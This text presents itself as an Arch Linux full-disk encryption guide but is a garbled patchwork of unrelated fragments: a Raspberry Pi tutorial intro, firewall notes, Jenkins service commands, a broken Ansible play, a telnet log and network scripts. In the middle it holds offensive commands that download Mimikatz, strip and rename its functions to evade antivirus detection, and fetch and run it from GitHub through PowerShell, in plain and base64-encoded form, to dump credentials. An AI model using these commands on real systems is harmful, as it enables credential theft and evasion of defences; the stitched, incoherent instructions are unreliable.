strasharo

Arch Linux Full-Disk Encryption Installation Guide

This guide provides instructions for an Arch Linux installation featuring full-disk encryption via LVM on LUKS, booting a signed unified kernel image with systemd-boot on UEFI systems.

Following the main installation are further instructions to harden against Evil Maid attacks via UEFI Secure Boot custom key enrollment and a self-signed boot loader and kernel image.

Tested in October 2026 on an HP ZBook Ultra G1a and in a QEMU/OVMF virtual machine: systemd 262, mkinitcpio 42.2, cryptsetup 2.8.8, linux 7.2.9, sbctl 0.18.

Preface

You will find most of this information pulled from the Arch Wiki and other resources linked thereof.

Arch Linux ARM 64 on Raspberry Pi 3 B+ With Full Disk Encryption And SSH Unlock: 2018 Edition

There are multiple ways to get a full disk encrypted arch linux system on raspberry. In this tutorial, we will install a 64-bit arch linux armv8 system, using dropbear as ssh server for remote pre-boot unlocking of the root filesystem. However, it will still be possible to unlock and use the pi as usual, with a keyboard and monitor. We will also create an unencrypted partition in the installation process, usable as a rescue system.

Differences to the 32-bit arch linux arm version:

probably better performance
can run 64-bit software
comes without the proprietary video-driver blobs

UFW

I use Ubuntu’s Uncomplicated firewall because it is available on Ubuntu and it's very simple.

Install UFW

if ufw is not installed by default be sure to install it first.

	nssm install Jenkins "%COMMONPROGRAMFILES(x86)%\Oracle\Java\javapath\java.exe"
	nssm set Jenkins AppParameters -jar agent.jar -jnlpUrl https://<jenksins-server-url>/computer/<jenkins-worker-node>/slave-agent.jnlp -secret <worker-secret> -workDir "C:\jenkins\"
	nssm set Jenkins AppDirectory C:\Jenkins
	nssm set Jenkins AppStdout C:\Jenkins\jenkins.log
	nssm set Jenkins AppStderr C:\Jenkins\jenkins.log
	nssm set Jenkins AppStopMethodSkip 6
	nssm set Jenkins AppStopMethodConsole 1000
	nssm set Jenkins AppThrottle 5000
	nssm start Jenkins

	wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

	# Uncomment below two lines to clean comments from all .ps1 files in ./
	#find ./ -name "*.ps1" -exec sed -i -e '/^<#/,/^#>/d' {} \;
	#find ./ -name ".ps1" -exec sed -i -e 's/#.$//' {} \;

	sed -i -e '/^<#/,/^#>/d' Invoke-Mimikatz.ps1
	sed -i -e 's/#.*$//' Invoke-Mimikatz.ps1
	sed -i -e's/DumpCerts/GimmeCerts/g' Invoke-Mimikatz.ps1
	sed -i -e 's/DumpCreds/GimmeCreds/g' Invoke-Mimikatz.ps1

	---
	- hosts: all
	become: yes

	tasks:

	# On CentOS, epel-release is available in the default repositories. Therefore,
	# ius-release can just resolve the dependency automatically. On RHEL (or other
	# RHEL clones) you will need to explicitly install epel-release first. This
	# task can be moved to it's own play if you want to be able to require it

	NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!

	#mimikatz [local]
	IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

	#encoded-mimikatz [local]
	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGUAbQBwAGkAcgBlAC8AcwBlAHIAdgBlAHIALwBkAGEAdABhAC8AbQBvAGQAdQBsAGUAXwBzAG8AdQByAGMAZQAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0AQwBvAG0AbQBhAG4AZAAgAHAAcgBpAHYAaQBsAGUAZwBl

-# start as admin!
-# prompt for username
-$SkypeUserName = Read-Host -Prompt "What is your Skype username?"
-# stop skype-process
-try{
-    if(Get-Process | ? {$_.Name -like 'skype'}) {Stop-Process -Name skype}
-    # commit changes to hosts file
-    $hostfile = "C:\Windows\System32\Drivers\etc\hosts"

	max$ telnet 192.168.0.112 9527
	Trying 192.168.0.112...
	Connected to 192.168.0.112.
	Escape character is '^]'.
	AVdec - PlayGetChannels(2857): enter 4 channles
	AVenc - CaptureGetChannels(756): 1
	AVdec - PlayGetChannels(2857): enter 4 channles
	AVdec - PlayGetChannels(2857): enter 4 channles
	**********************************************************************
	\| SYSTEM INFO

	#!/bin/bash
	#Initial wifi interface configuration
	ifconfig wlp8s0 up 10.20.30.1 netmask 255.255.255.0
	sleep 2
	###########Start dnsmasq, modify if required##########
	if [ -z "$(ps -e \| grep dnsmasq)" ] then
	dnsmasq
	fi
	###########